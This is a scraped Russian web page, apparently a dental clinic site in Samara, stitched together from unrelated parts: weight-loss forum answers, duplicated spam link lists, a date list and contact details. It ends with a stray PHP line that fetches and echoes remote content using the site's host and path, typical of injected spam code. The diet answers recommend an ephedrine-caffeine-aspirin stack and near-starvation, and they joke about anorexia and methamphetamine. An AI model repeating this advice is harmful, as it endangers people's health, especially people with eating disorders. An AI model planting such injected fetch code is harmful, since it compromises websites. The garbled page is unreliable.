Я на почве сердечных переживаний сильно уменьшилась в весе за 2 недели. Просто отощала, если учесть, что я полной никогда не была. Хотя ела я тогда как обычно, т. е. много, вредно и на ночь.

Почему овсяная диета эффективна, и как правильно составить меню овсяной диеты, чтобы получить максимальный результат?

Худела уменьшением количества съеденного до минимально невозможного. Я вешу 59 при росте 176, при том что мышечная масса большая, все попытки свести вес даже до 57 проваливаются, т. к. на спорт потом нет сил. Что ж, такова моя судьба :)
До того как перестала париться, худела каждый день и зверски не ела. Испортила желудок, хотя результата лучше чем 56 не было никогда! И то, на работу меня не взяли не из-за лишних сантиметров в талии, а из-за непонравившихся работодателю скул и длины волос!
Забить! </> </>

Обязательно есть с утра ( иначе сил на весь день не хватит) : фрукты, овощной салат, в обед куриный бульон ( налаживает пищеварение) . Не стоит есть мучное, жирное, жаренное. Больше пить зеленого чая. Делать каждое утро делать зарядку (обязательно качать пресс) . И понять что ты лучшая и все делаешь только для себя.

Килограмма 2 - после развода с мужем. Не советую;)

5 кило за неделю. Потом еще 3 за две недели. а потом пришел Новый год, до сих пор обжорство со страшной интенсивностью продолжается, а набрала только три.И если честно - то держалась и не нарушала диету только в первую неделю, потому такой и результат. Диета Кремлевская. Есть не особо хочется. Главное держаться и считать баллы на весь день зараннее, супчики всякие овощные варить. Помните, что фрукты нельзя никакие почти. Начальная стадия, хотя бы первый месяц-полтора - НЕ БОЛЕЕ 20 БАЛЛОВ В ДЕНЬ.Удачи!

Аэробика+некоторые пищевые добавки (Эфедрин+кофеин+аспирин). Такая комбинация помогает людям с медленным обменом веществ контролировать свой вес вплоть до 1 кг. Также могу дать совет как поправиться за 3 недели на 15-20 кг. :)

Вам понадобится Геркулес. Сухофрукты. Груши. Яблоки. Морковь. Капуста. 1. Каждому человеку хочется иметь отменное здоровье и свежий внешний вид. Но не у всех хватает силы воли, чтобы заняться спортом или выдержать диету.

Аэробика, 3 раза в неделю. Исключить всё сладкое и мучное. Результат заметин через 1-2 недели.

Задай себе вопрос и ответь без балды,максимально честно-А тебе это надо? если надо-по секрету расскажу.смешно,но помогает.главное-верить.Когда принимаешь душ-закрой глаза и представляй себя такой, какой хотела бы стать.не переусердствуй.это помогает круче диет.

Я похудела на 14 за один месяц!И при этом до этого я толстой никогда не была.Никаких диет,просто очень мало есть и очень много двигаться.а ещё посмотри в инете всё про свою группу крови,потому что для каждой группы крови существует ряд хороших продуктов(от которых не толстеешь) и плохих.а ещё не ешь после 6 и ешь много яблок,тоже помогает!

  • Можно ли самовнушением похудеть - Можно ли похудеть психологически Под лежачий камень вода не течет)) Множество сайтов морочат людям голову своими рассказ
  • Косметика целлюлит index php - Почему не проходит целлюлит на ягодицах при правильном питании и регулярных тренировках? Купите масло апельсина, корицы,
  • Целлюлит на попе как убрать - Скажите а хождение на попе убирает целлюлит ? Укрепляет Геморрой. Как убрать целлюлит на попе без потери е формы? Целлюл
  • Анерексия после диет - Как похудеть на 7 кг?Нынешний вес 54. Анерексички атакуют! А стоит ли? а так метафметамииин)) Никуда не надо худеть! Дел
  • Диета у детей от крапивницы - Диета при крапивнице у взрослых Старшие дети и взрослые при крапивнице, вызванной продуктом, могут питаться так: отварно
  • Калорийность продуктов питания похудения - ☠ Похудел на целых 15 грамм! питание не калорийное ? :-( ☠ На 1 милиграм Высококалорийные продукты. Очень большая калори
  • Диета шиповник с раздельны питанием - Хочу поделится диэтой которая помогла мне скинуть!!!!15 кг за 2 месяца!!!! Я проще делаю, всё ем, но пешком на работу 6
  • Белковой диета при миоме - Вопрос к гинекологам.Помогите советом. Где вопрос!??? 7 Диета против миомы. Правильный образ жизни - необходимое слагаем
  • Как решиться на похудение - 90 кг при росте 175... это просто капец как много? Как заставить себя худеть? Как решиться и как начать? Ставьте перед с
  • Диета шиповник - Язва желудка чем можно помочь и какое питание надо? Лечение назначит только врач-гастроэнтеролог. При язвенной болезни ж
  • Можно ли самовнушением похудеть - Можно ли похудеть психологически Под лежачий камень вода не течет)) Множество сайтов морочат людям голову своими рассказ
  • Косметика целлюлит index php - Почему не проходит целлюлит на ягодицах при правильном питании и регулярных тренировках? Купите масло апельсина, корицы,
  • Целлюлит на попе как убрать - Скажите а хождение на попе убирает целлюлит ? Укрепляет Геморрой. Как убрать целлюлит на попе без потери е формы? Целлюл
  • Анерексия после диет - Как похудеть на 7 кг?Нынешний вес 54. Анерексички атакуют! А стоит ли? а так метафметамииин)) Никуда не надо худеть! Дел
  • Диета у детей от крапивницы - Диета при крапивнице у взрослых Старшие дети и взрослые при крапивнице, вызванной продуктом, могут питаться так: отварно
  • Калорийность продуктов питания похудения - ☠ Похудел на целых 15 грамм! питание не калорийное ? :-( ☠ На 1 милиграм Высококалорийные продукты. Очень большая калори
  • Диета шиповник с раздельны питанием - Хочу поделится диэтой которая помогла мне скинуть!!!!15 кг за 2 месяца!!!! Я проще делаю, всё ем, но пешком на работу 6
  • Белковой диета при миоме - Вопрос к гинекологам.Помогите советом. Где вопрос!??? 7 Диета против миомы. Правильный образ жизни - необходимое слагаем
  • Как решиться на похудение - 90 кг при росте 175... это просто капец как много? Как заставить себя худеть? Как решиться и как начать? Ставьте перед с
  • Диета шиповник - Язва желудка чем можно помочь и какое питание надо? Лечение назначит только врач-гастроэнтеролог. При язвенной болезни ж
Меню овсянной диеты
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта